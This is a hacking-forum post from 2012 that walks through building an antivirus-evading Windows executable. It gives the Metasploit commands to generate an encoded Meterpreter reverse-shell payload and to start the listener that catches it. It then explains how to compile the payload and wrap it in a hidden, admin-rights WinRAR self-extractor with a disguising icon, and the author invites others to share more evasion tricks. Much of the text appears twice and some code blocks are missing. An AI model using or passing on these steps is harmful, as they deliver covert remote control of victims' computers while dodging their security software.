[TuT]☆All Methods Of Evasion Antivirus With Metasploit☆[TuT] 05-01-2012, 12:28 PM
#1
Hello all,
I would like to create a topic reference regarding the antivirus evasion in any form whatsoever coupled of course with Metasploit.
To structure this subject I would ask you to follow this format:
Operating systems used
operating systems vulnerable
Required software (if any)
Antivirus evasion method (ideally with a link to a tutorial or a video)
A link to an analysis of https://www.virustotal.com/ the same day.
I would start it myself with a method which gives an executable with between 2 and 4 viruses detected randomly
Operating systems used:
backtrack 5R1
Windows XP sp3
Operating systems vulnerable :
Windows 7 and Xp Any Versions
Software requirements:
Dev-C + + Version 4.9.9.2 (in XP)
Winrar Version 4.10
The Source Shellcode of This Video
Here is the method I present to you but I am not the author of this video
backtrack 5R1
Windows XP sp3
Operating systems vulnerable :
Windows 7 and Xp Any Versions
Software requirements:
Dev-C + + Version 4.9.9.2 (in XP)
Winrar Version 4.10
The Source Shellcode of This Video
Here is the method I present to you but I am not the author of this video
First you need to create the shellcode base with this command:
It shows that:
![[Image: shellcode2.png]](http://img710.imageshack.us/img710/226/shellcode2.png)
Then paste the shellcode at this point in the shell_part1 in Dev-C + + :
And compil :
![[Image: devc2.png]](http://img135.imageshack.us/img135/9715/devc2.png)
Then open the command prompt: execute => cmd and insert the contents of shell_part1.exe inside a text file :
Then open the text file and copy its contents to shell_final.cpp and compil
![[Image: pastecoden.png]](http://img221.imageshack.us/img221/4059/pastecoden.png)
Rename and select the file out and create an archive with Winrar sfx
![[Image: coolstuff2.png]](http://img213.imageshack.us/img213/6003/coolstuff2.png)
Click on Advanced tab and move on sfx options right then check the admin rights, add an icon, check hide all and give the file to launch
![[Image: sfxoption6.png]](http://img338.imageshack.us/img338/4427/sfxoption6.png)
Analyze.
And Test with :
![[Image: testpayload.png]](http://img196.imageshack.us/img196/3861/testpayload.png)
And EnjoyCode:
msfpayload windows/Meterpreter/reverse_tcp LHOST=192.168.1.97 LPORT=3333 R | msfencode -e x86/shikata_ga_nai -t c -a x86 -b "\x00\x0a\x0d" -c 5It shows that:
Spoiler:
![[Image: shellcode2.png]](http://img710.imageshack.us/img710/226/shellcode2.png)
Then paste the shellcode at this point in the shell_part1 in Dev-C + + :
Spoiler:
And compil :
Spoiler:
![[Image: devc2.png]](http://img135.imageshack.us/img135/9715/devc2.png)
Then open the command prompt: execute => cmd and insert the contents of shell_part1.exe inside a text file :
Code:
C:\..\User\Desktop\shell_part1.exe > shell.txtThen open the text file and copy its contents to shell_final.cpp and compil
Spoiler:
![[Image: pastecoden.png]](http://img221.imageshack.us/img221/4059/pastecoden.png)
Rename and select the file out and create an archive with Winrar sfx
Spoiler:
![[Image: coolstuff2.png]](http://img213.imageshack.us/img213/6003/coolstuff2.png)
Click on Advanced tab and move on sfx options right then check the admin rights, add an icon, check hide all and give the file to launch
Spoiler:
![[Image: sfxoption6.png]](http://img338.imageshack.us/img338/4427/sfxoption6.png)
Analyze.
And Test with :
Code:
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.97 LPORT=3333 AutoRunScript=' migrate -f' ESpoiler:
![[Image: testpayload.png]](http://img196.imageshack.us/img196/3861/testpayload.png)
PS:
I am looking to inject shellcode in an image, if you have any leads for me I'll be happy.
I have a few tracks here and there but I do not know how to proceed step by step.
![[Image: devc1.png]](http://img717.imageshack.us/img717/8577/devc1.png)
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)